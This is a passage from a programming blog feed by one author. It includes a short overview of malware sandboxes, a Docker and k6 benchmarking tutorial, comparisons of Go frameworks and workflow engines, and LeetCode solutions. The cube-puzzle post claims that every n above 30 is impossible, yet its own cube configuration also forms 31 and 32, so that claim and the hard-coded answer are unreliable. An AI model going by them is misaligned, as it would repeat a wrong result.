Cuckoo Sandbox: This is the original, open-source automated malware analysis system. It safely executes and analyzes potentially malicious files in an isolated virtual machine and provides detailed reports on their behavior. It’s the foundation for many modern sandboxes.

CAPE Sandbox (CAPEv2): CAPE (Config And Payload Extraction) began as a powerful fork of Cuckoo and is now the active, maintained successor to the original project. Its main goals are to add automated malware unpacking and configuration extraction. This is crucial because modern malware often uses “packers” to compress or encrypt its malicious code, making it harder to analyze. CAPE automates the process of unpacking it to see its real behavior.

CAPE is the best choice today because, unlike the original Cuckoo (which is no longer actively maintained), CAPE continues to improve and is the only remaining, actively supported open-source sandbox based on the original Cuckoo codebase.

Final Thoughts

A sandbox gives you a safe space to answer the ultimate question: “What will this .exe do if I run it?" It's an indispensable tool for anyone who downloads software from the internet. And with powerful, open-source platforms like CAPE, you have enterprise-grade malware analysis power available right on your own machine for free.

If you’d like to get your hands dirty with Cuckoo Sandbox (the original, foundational project), check out this practical walkthrough:

🔗 Malware Analysis Using Cuckoo Sandbox — Step by Step Guide

hat article covers installation, configuration, and running your first analysis.

Have you ever run an unknown .exe in a sandbox? What tool did you use — Cuckoo, CAPE, or something else? Let me know in the comments.

Want More?

If you enjoyed this deep dive, you might like my other article:

If you’re interested in real-world, isolated benchmarking and want to see how different web frameworks (FastAPI, Flask, etc.) perform under controlled conditions, you might like this practical guide:

How to Benchmark Web Frameworks in a Fair, Isolated Way | Mahdi Shamlou

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

How to Benchmark Web Frameworks in a Fair, Isolated Way | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sat, 21 Feb 2026 20:39:44 +0000

Hey everyone! Mahdi Shamlou here 👋

I’ve seen many posts online comparing web frameworks, but most of them are either biased, outdated, or hard to reproduce.

So I wanted to share a practical way to benchmark any web framework, keeping everything isolated, fair, and reproducible.

We’ll use Docker for isolation, k6 for load testing, and Python frameworks — FastAPI and Flask — as simple examples. But the approach works for Node.js, Go, Java, Rust, or anything else.

Why Isolated Benchmarking Matters

Benchmarking web frameworks can be tricky. Many factors affect results:

CPU & memory availability
Number of workers / threads
Background processes
Routing, logging, database, I/O

To make a fair comparison, you need:

Docker containers with fixed CPU & memory
Identical routes or endpoints in each framework
Controlled load tests using k6 or similar tools
Results saved for later analysis

Step 1 — Project Structure

mkdir web_framework_benchmarks
cd web_framework_benchmarks
mkdir framework1 framework2 k6-tests results

You can replace framework1 and framework2 with any frameworks you want to compare.

Step 2 — Sample API Route

For demonstration, we use a simple /hello endpoint.

Python Example (FastAPI):

from fastapi import FastAPI
app = FastAPI()

@app.get("/hello")
def hello():
    return {"message": "hello world"}

Python Example (Flask):

from flask import Flask, jsonify
app = Flask(__name__)

@app.route("/hello")
def hello():
    return jsonify({"message": "hello world"})

You can do the same in Node.js, Go, or Java, just keep the endpoint functionally identical.

Optional: add a sleep route to simulate I/O/concurrent load.

Step 3 — Dockerize Your Frameworks

Here’s a funny story:

At first, I ran FastAPI with just uvicorn… and I thought “Yeah, this will do.” But then I realized 🤦‍♂️

If I run Flask with Gunicorn and FastAPI with Uvicorn alone, it’s like comparing a Ferrari to a bicycle… not fair! just fun!

So I fixed it: FastAPI + Gunicorn + UvicornWorker and 1 worker, exactly like Flask.

FastAPI Dockerfile (Fair Version):

FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install fastapi uvicorn gunicorn
CMD ["gunicorn", "-k", "uvicorn.workers.UvicornWorker", "-w", "1", "-b", "0.0.0.0:8000", "app:app"]

Flask Dockerfile:

FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install flask gunicorn
CMD ["gunicorn", "-w", "1", "-b", "0.0.0.0:8000", "app:app"]

✅ Now both containers have the same worker count, same CPU/memory limits — fair and square!

Step 4 — k6 Load Testing

k6 scripts for each framework:

import http from "k6/http";
import { sleep } from "k6";

export const options = {
  stages: [
    { duration: "30s", target: 50 },   // ramp-up
    { duration: "1m", target: 200 },   // hold load
    { duration: "30s", target: 0 },    // ramp-down
  ],
  thresholds: {
    "http_req_duration": ["p(95)<200"], // 95% of requests should be <200ms
  },
};

export default function () {
  http.get("http://localhost:8001/hello");
  sleep(1);
}

Run and save results:

mkdir -p results
k6 run --out json=results/framework1.json k6-tests/framework1.js
k6 run --out json=results/framework2.json k6-tests/framework2.js

Works for any language/framework, not just Python.

Step 5 — Analyze Metrics

With Python + matplotlib (or any plotting tool):

Average latency
P95 latency
Requests/sec
Failure rate

import json, numpy as np, matplotlib.pyplot as plt

files = {"Framework1": "results/framework1.json", "Framework2": "results/framework2.json"}
summary = {}

for name, file in files.items():
    durations, fails, total = [], 0, 0
    with open(file) as f:
        for line in f:
            obj = json.loads(line)
            if obj.get("type")=="Point":
                if obj.get("metric")=="http_req_duration": durations.append(obj["data"]["value"])
                if obj.get("metric")=="http_req_failed": fails+=obj["data"]["value"]; total+=1
    if durations:
        summary[name] = {"avg": np.mean(durations), "p95": np.percentile(durations,95), "requests": len(durations), "fail_rate": fails/total if total else 0}

print(summary)
plt.bar(summary.keys(), [summary[n]["avg"] for n in summary])
plt.title("Average Response Time (ms)")
plt.show()

✅ Key Lessons

Docker isolation → makes everything reproducible
Worker count & CPU limits → must match
Simple routes may make Flask look faster, don’t be fooled
Async/I/O-heavy routes → FastAPI (or other async frameworks) shine
Always benchmark your actual workload, not just tiny examples

🔹TL;DR

Pick frameworks → Dockerize with identical resources
Create identical endpoints → optionally simulate I/O
Load test with k6 → save JSON results
Plot metrics → avg latency, P95, requests, fail rate
Compare fairly → draw conclusions based on your workload

📂 Try It Yourself

You can check out my repo: web_framework_benchmarks
Clone it, run the Docker + k6 setup yourself
Explore FastAPI & Flask examples
Or even contribute and add more frameworks for comparison

Want More?

If you enjoyed this deep dive, you might like my other article:

How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou

In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram:
https://telegram.me/mahdi0shamlou

📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Go Web Frameworks Comparison 2026 — Top 5 Picks: Gin, Fiber, Echo, Chi & Beego | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Fri, 20 Feb 2026 08:19:49 +0000

Hey everyone! Mahdi Shamlou here again 👋

After my article on durable workflow engines in Python, I wanted to explore something new: modern Go web frameworks.

I searched online and honestly… most articles were old, incomplete, or clearly biased to one framework

So I decided to write a fresh, practical comparison for 2026 with real benchmark sources and real developer experience.

Let’s go 👇

Why Go for Web Development?

Go became super popular for backend APIs because it gives you:

Very high performance (compiled language)
Easy concurrency with goroutines
Simple deployment (single binary)
Great for microservices and cloud apps

Big companies like Google, Uber, Twitch, Dropbox use Go heavily for backend services.

Top 5 Go Web Frameworks in 2026

1. Gin — The Safe Default Choice

Website → https://gin-gonic.com/
GitHub → https://github.com/gin-gonic/gin

Gin is probably the most used Go framework today. If you don’t know what to pick, pick Gin.

Learning speed: 1–2 days
Benchmark idea: ~50k–70k req/sec

Strengths 👍
• Very easy to start
• Huge community and middleware
• Stable and production‑proven
• Works with standard net/http ecosystem

Trade-offs 👎
• Not opinionated → big projects can become messy
• No built‑in dependency injection
• Some people dislike its context style

2. Fiber — Express.js Style for Go

Website → https://gofiber.io/
GitHub → https://github.com/gofiber/fiber

Fiber feels like Express.js but written in Go. If you come from Node.js, you’ll love it.

Learning speed: 1 day
Benchmark idea: ~70k–110k req/sec

Strengths 👍
• Extremely fast
• Very familiar for Node developers
• Many built‑in features
• Clean and simple syntax

Trade-offs 👎
• Uses fasthttp instead of net/http
• Some Go libraries don’t work
• Debugging can be harder
• Smaller ecosystem than Gin

3. Echo — Clean and Mature Framework

Website → https://echo.labstack.com/
GitHub → https://github.com/labstack/echo

Echo is like the balanced framework. Not too small, not too big.

Learning speed: 2–3 days
Benchmark idea: ~50k–65k req/sec

Strengths 👍
• Clean structure
• Built‑in validation and middleware
• Good documentation
• Mature and stable

Trade-offs 👎
• Smaller ecosystem than Gin
• Some advanced features need extra libraries
• Not as fast as Fiber

4. Chi — Lightweight Router for Clean Architecture

Website → https://go-chi.io/
GitHub → https://github.com/go-chi/chi

Chi is not a full framework. It’s a router used in many serious microservices.

Learning speed: Few hours
Benchmark idea: ~45k–60k req/sec

Strengths 👍
• Very lightweight
• Uses standard net/http
• Perfect for clean architecture
• Easy testing

Trade-offs 👎
• Not beginner friendly
• You must build everything yourself
• No built‑in ORM or helpers
• Slower to start small projects

5. Beego — Full MVC Framework

Website → https://beego.vip/
GitHub → https://github.com/beego/beego

Beego is like Django. It has ORM, CLI, sessions, templates.

Learning speed: 1–2 weeks
Benchmark idea: ~20k–40k req/sec

Strengths 👍
• Everything built‑in
• Fast development for monolith apps
• Good CLI tools
• Built‑in ORM and templates

Trade-offs 👎
• Slower performance
• Heavy compared to Gin or Fiber
• Smaller community today
• Not ideal for microservices

Where These Benchmark Numbers Come From

The numbers above are not random. You can verify them here:

👉 https://www.techempower.com/benchmarks/

This is the most trusted benchmark in backend engineering. It runs frameworks on the same hardware and same workload.

But remember ⚠️
Real performance depends on:
• database usage
• logging
• authentication
• payload size
• TLS
• hardware

So always run your own benchmark.

My Recommendation for 2026

If you are new → Start with Gin.
If you need max performance → Try Fiber.
If you want balanced structure → Use Echo.
If you love clean architecture → Use Chi.
If you want full MVC → Use Beego.

There is no perfect framework. Pick the one that fits your team and project.

Want More?

If you enjoyed this deep dive, you might like my other article:

How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou

In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram:
https://telegram.me/mahdi0shamlou

📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Durable Workflow Engines Comparison — Temporal, DBOS Transact, Prefect & Custom Python Engines Mahdi SHamlou

Mahdi SHamlou | مهدی شاملو — Thu, 19 Feb 2026 14:31:10 +0000

Hey everyone! Mahdi Shamlou here again 🚀

After diving into classic algorithm challenges like LeetCode #8 String to Integer (atoi), today I want to explore something a bit different — durable workflow engines in Python.

I noticed most blog posts out there are old, incomplete, or heavily biased toward one tool. So I decided to create a fresh, practical comparison and give my take on which workflow engine you should pick in 2026.

Let’s dive in.

What is a Durable Workflow Engine?

A durable workflow engine helps you run code reliably and safely, even if your app crashes, your machine restarts, or network hiccups occur. They’re particularly useful for:

Long-running processes (hours, days, or even months)
Background jobs and automation
Retry, compensation, and saga patterns
Observability & external signaling

I’ll compare four approaches:

Temporal — the battle-tested distributed platform
DBOS Transact — lightweight embedded durability in Postgres
Prefect 3.x — Pythonic, open-source workflow orchestration
Custom Python engine — pure Python + your own persistence

1. Temporal (temporalio/sdk-python)

Temporal is a production-proven, distributed workflow engine originally built at Uber (as Cadence). It’s used by DoorDash, Snap, Stripe, and others.

How it works:

Workflows as code (functions/classes)
Activities separated from orchestration
External Temporal server handles task durability

Pros:

Maximum durability — even months-long workflows survive anything
Signals, queries, workflow versioning, child workflows
Multi-language support (Python, Go, Java, TS, .NET)
Great observability (Temporal Web UI / Cloud)

Cons:

Requires server/cluster → more ops complexity
Higher learning curve and more code

2. DBOS Transact (dbos-transact-py)

DBOS Transact is an embedded durable engine for Python backed by Postgres. Think of it as “durable Python without leaving your app.”

How it works:

Annotate normal Python functions with @workflow and @step decorators
Each step automatically checkpoints its state in Postgres
On crash/restart, workflow resumes from last checkpoint
External events or signals can be sent with recv() / send() methods
Minimal changes to your existing code — the library handles durability

Pros:

Minimal code changes → easy to adopt
Lightweight, fast, low ops overhead
Great performance for embedded durability

Cons:

Tied to Postgres
Fewer advanced features than Temporal

3. Prefect (Prefect 3.x)

Prefect is a Python-first workflow orchestration framework — great for data pipelines, ML workflows, and automation tasks.

How it works:

Define workflows with @flow and tasks with @task decorators
Each task execution is automatically tracked and persisted (checkpointing)
Flows can be suspended/resumed manually or via events
Result persistence allows retries, caching, and skipping already-completed tasks
Optional Prefect server/agent UI provides real-time observability and control

Pros:

Extremely Pythonic → minimal code friction
Excellent UI and monitoring
Durable execution for long-running flows
Open-source, hybrid execution

Cons:

Durability is checkpoint-based → not full deterministic replay like Temporal
Python-only (no multi-language support)
Some advanced saga patterns require manual handling

4. Pure Python Custom Engine

You could roll your own workflow engine using just Python + a DB or file store.

How it works:

Store workflow instances in a table with workflow ID, current step, status, and data
Poll a queue (e.g., Redis, RQ, Celery) and execute steps based on stored state
Implement retry, timeout, and compensation manually
Signals/events handled with a custom event table or pub/sub system

Pros:

Full control, zero dependencies
Simple for very small workflows

Cons:

Very easy to get wrong — lost state, duplicates, race conditions
No UI or observability out-of-the-box
Maintenance grows with complexity

My Take: Which One Should You Use?

Start with Prefect or DBOS Transact :

Prefect: Best for Python workflows, great UI, caching, event-driven automations. Durable execution with minimal overhead.
DBOS Transact: Ultra-lightweight, embedded durability in Postgres. Great if you want minimal footprint and existing Postgres usage.

Switch to Temporal when you outgrow the lighter options

Need full deterministic replay, months-long workflows, multi-language, or enterprise-scale reliability.

Custom Python engines are mostly for learning, experiments, or extremely simple workflows.

Want More?

If you enjoyed this deep dive into workflow engines, you might like my other article:
Subscribe to the Medium newsletter

How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou

In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram:
https://telegram.me/mahdi0shamlou

📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 19 Feb 2026 12:21:57 +0000

Hi everyone,
Mahdi Shamlou here 🚀

Today I want to share something different from my LeetCode posts.

Recently, I participated in an algorithm & programming competition at Islamic Azad University — and I won! 🎉

The contest had 4 problems, and I want to start with the first one because it taught me an important lesson about thinking before coding.

🧩 Problem 1 — Two Cubes Puzzle

We had to design two cubes with digits on their faces so that we could display every number from 0 to n.

Rules:

Each cube has 6 faces (6 digits).
By placing the cubes side-by-side, we must form all numbers from 0 → n.
If possible → output cube configuration
If impossible → return "Impossible"

Important detail:

We cannot rotate 6 to become 9.
So if we need digit 9, it must exist explicitly on a cube.

💡 My Strategy

At first glance, this looks like a brute-force search problem:

Generate combinations
Test permutations
Check all numbers

But I realized something:

👉 The number of valid configurations is extremely limited.

So instead of writing a complex generator, I solved the cube puzzle manually on paper first.

After finding the correct configuration, I simply returned that fixed solution in code.

No brute force.
No heavy computation.
Just logic.

❗ The Impossible Case

Because we need digit 9 explicitly and cannot reuse 6 as 9:

👉 If n > 30, the answer is "Impossible".

30 is the maximum achievable upper bound with valid cube digit placement.

🐍 Python Implementation

Here is the corrected Python version:

def two_cubes_solution(n):
    # Impossible case
    if n > 30:
        return "Impossible"

    # Pre-calculated cube faces (solved manually)
    cube1 = [1, 2, 3, 4, 5, 6]
    cube2 = [0, 1, 2, 7, 8, 9]

    return cube1, cube2


# Example usage
n = int(input())
print(two_cubes_solution(n))

🚀 Why This Approach Won

✔ O(1) time
✔ O(1) space
✔ Zero computation overhead
✔ Guaranteed correctness

The key lesson:

Sometimes the smartest algorithm is solving the logic once and letting the code stay simple.

I’ll share the next competition problem soon — that one was much more algorithm-heavy 😄

Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Solving LeetCode #8: String to Integer (atoi) — Step by Step

Mahdi SHamlou | مهدی شاملو — Sat, 31 Jan 2026 12:02:11 +0000

Hey everyone! Mahdi Shamlou here — continuing my LeetCode classic problems series 🚀

After [#7 Reverse Integer (See the list that I solved)], today I jumped into Problem #8 — String to Integer (atoi).

At first glance, this one looks easy… but once you start reading the rules carefully, you realize it’s all about edge cases 😅

Problem Statement:

Implement the myAtoi(string s) function, which converts a string to a 32-bit signed integer.

The algorithm should:

Ignore leading whitespace
Check for an optional + or - sign
Read digits until a non-digit is found
Clamp the result to the 32-bit signed integer range: [-²³¹, ²³¹ − 1]
Return 0 if no valid conversion exists

Examples:

Input: "42"
Output: 42
----
Input: "   -42"
Output: -42
----
Input: "4193 with words"
Output: 4193
----
Input: "words and 987"
Output: 0

My Thought Process

When I started, I told myself:

Okay… don’t panic. Just follow the rules one by one. just do it !

So I broke the problem into simple steps:

Skip all leading whitespaces
Detect the sign (+ or -)
Read digits and build the number
Handle overflow before it happens

That last part is super important — Python won’t overflow, but LeetCode expects 32-bit behavior.

My Solution (Clean & Safe)

class Solution:
    def myAtoi(self, s: str) -> int:
        """
        first of all i think i can just jump empty section of s

        """
        # Step 1: Skip whitespaces
        i = 0
        n = len(s)
        while i < n and s[i] == ' ':
            i += 1

        if i == n:
            return 0

        # Step 3: find sign
        sign = +1
        if s[i] == '-':
            sign = -1
            i += 1
        elif s[i] == '+':
            i += 1

        # Step 4: read the s for findig ints 
        result = 0
        INT_MAX_OF_OVERFELLOW = 2**31 - 1   # 2147483647
        INT_MIN_OF_OVERFELLOW = -2**31      # -2147483648

        while i < n and s[i].isdigit():
            digit = int(s[i])


            if result > (INT_MAX_OF_OVERFELLOW - digit) // 10:
                return INT_MAX_OF_OVERFELLOW if sign == 1 else INT_MIN_OF_OVERFELLOW

            result = result * 10 + digit
            i += 1


        return result * sign

sorry my comments not okay :)

Why I Like This Approach

️ Easy to read
️ Matches the problem rules exactly
️ Handles all edge cases

Final Thoughts

This problem taught me something important:

Sometimes the “hard” part isn’t the algorithm — it’s discipline.

Reading carefully.
Handling edge cases.
Not rushing.

And yes… after passing all test cases in first time, I had that quick “okay, nice” moment — and then I jumped straight to the next problem 🚀

My Repo (All Solutions)

GitHub — mahdi0shamlou/LeetCode

What about you?

How did you approach this problem?
Did you miss any edge case the first time?

Drop your thoughts — I read everything! 🚀
Connect with me

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram:
https://telegram.me/mahdi0shamlou

📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Solving LeetCode #7: Reverse Integer — My Math-Based Reversal with Overflow Safety

Mahdi SHamlou | مهدی شاملو — Sat, 31 Jan 2026 11:53:08 +0000

Hey everyone! Mahdi Shamlou here — continuing my LeetCode classic problems series 🚀

After [#6 Zigzag Conversion (See the list that I solved)], today we’re tackling Problem #7 — Reverse Integer — a very common easy/medium question that looks simple at first… until you remember the 32-bit integer overflow trap!

Problem Statement :

Given a signed 32-bit integer x, return x with its digits reversed. If reversing x causes the value to go outside the signed 32-bit integer range [-2³¹,2³¹ — 1], then return 0.

Assume the environment does not allow 64-bit integers.

Examples:

Input: x = 123
Output: 321

Input: x = -123
Output: -321

Input: x = 120
Output: 21

Input: x = 0
Output: 0

My solution:

digit-by-digit reversal with overflow check . I decided to avoid string conversion and do it mathematically — pop digits with % 10, build the reversed number, and most importantly check for overflow before multiplying by 10 and adding the digit.

class Solution:
    def reverse(self, x: int) -> int:

        reversed_x = 0 # create reverse_x to return 

        # Try to Handle the sign separately
        if x >= 0:
            sign = 1
        else:
            sign = -1

        x = abs(x)

        while x > 0:
            digit = x % 10
            x = x // 10

            # checks for overflow before adding the new digit
            # 2**31 - 1 is equals = 2147483647
            # -2**31    is equals = -2147483648

            if reversed_x > (2147483647 - digit) // 10: # but you can use dynamic number calculation like 2**31-1
                return 0
            if reversed_x < (-2147483648 + digit) // 10:
                return 0

            reversed_x = reversed_x * 10 + digit

        return sign * reversed_x

It passes all cases — and feels clean because we catch overflow before it actually happens.

My repo (all solutions are here): GitHub — mahdi0shamlou/LeetCode: Solve LeetCode Problems

Time & Space
Time: O(log |x|) — we process each digit once
Space: O(1) — just a few variables

What about you? Did you also do it mathematically like me? How did you handle the overflow part — did you use constants or 2**31?

Share in the comments — I read everything! 🚀

And honestly… after seeing those overflow cases return 0 correctly and the normal ones reverse perfectly, I just smiled and thought “yes — safe and elegant!” 😂 Here’s me right after submitting:

Connect with me:

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou

📱 Telegram: https://t.me/mahdi_shamlou

📸 Instagram: https://www.instagram.com/mahdi.shamlou

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Solving LeetCode #6: Zigzag Conversion — My Row-by-Row Simulation Fun Way

Mahdi SHamlou | مهدی شاملو — Sat, 31 Jan 2026 11:43:25 +0000

Hey everyone! Mahdi Shamlou here — rolling on with my LeetCode classic problems series 🚀

After [#5 Longest Palindromic Substring (See the list that i solved)], today we’re tackling Problem #6 — Zigzag Conversion (also called ZigZag Conversion) — a cool medium-level problem that feels like drawing a zigzag pattern with letters!

Problem Statement

The string s is written in a zigzag pattern on a given number of rows like this (imagine fixed font):

For s = “PAYPALISHIRING”, numRows = 3:

P   A   H   N
A P L S I I G Y
I   R

Read line by line: “PAHNAPLSIIGYIR”

Write a function to convert the string this way given numRows.

Examples:

Input: s = "PAYPALISHIRING", numRows = 3
Output: "PAHNAPLSIIGYIR"

Input: s = "PAYPALISHIRING", numRows = 4
Output: "PINALSIGYAHRPI"
Explanation:
P     I    N
A   L S  I G Y
A   H R
P     I

Input: s = "AB", numRows = 2
Output: "AB"

My solution :

The simulation way with direction flip (this felt natural!) I imagined walking down the rows, then up, then down again — like a real zigzag. So I used a list of strings (one per row), a counter for current row, and a direction flag that flips at top/bottom.

class Solution:
    def convert(self, s: str, numRows: int) -> str:
        result = []
        numRows_counter = 0
        numRows_counter_way = 1

        for i in s:
            result.append("")  # wait, this was a bug — should init outside!
            result[numRows_counter] = str(result[numRows_counter]) + str(i)

            if numRows_counter + 1 == numRows:
                numRows_counter_way = -1
            if numRows_counter - 1 < 0:
                numRows_counter_way = +1

            if numRows_counter_way == 1:
                numRows_counter = numRows_counter + 1
            else:
                numRows_counter = numRows_counter - 1

        final_res = ""
        for i in result:
            final_res = final_res + i

        print(result)
        return final_res

Note: In my first run I had result = [] and appended empty string each time — that’s not correct! (It would create too many empty slots.) The proper way is to initialize result = [“”] * numRows outside the loop. But hey, this direction-flip idea still clicked for me after fixing that 😅

My repo (all solutions are here):

GitHub — mahdi0shamlou/LeetCode: Solve LeetCode Problems

What about you? Did you simulate the zigzag with rows like me, or did you go for the math formula way (cycle length = 2*numRows-2)? Any funny bugs you hit on this one?

Share in the comments — I read everything! 🚀

And honestly… after seeing “PINALSIGYAHRPI” come out correctly I just sat there grinning like an idiot — that zigzag finally made sense in code! 😂 Here’s me right after it worked:

Connect with me:

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram: https://telegram.me/mahdi0shamlou

📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو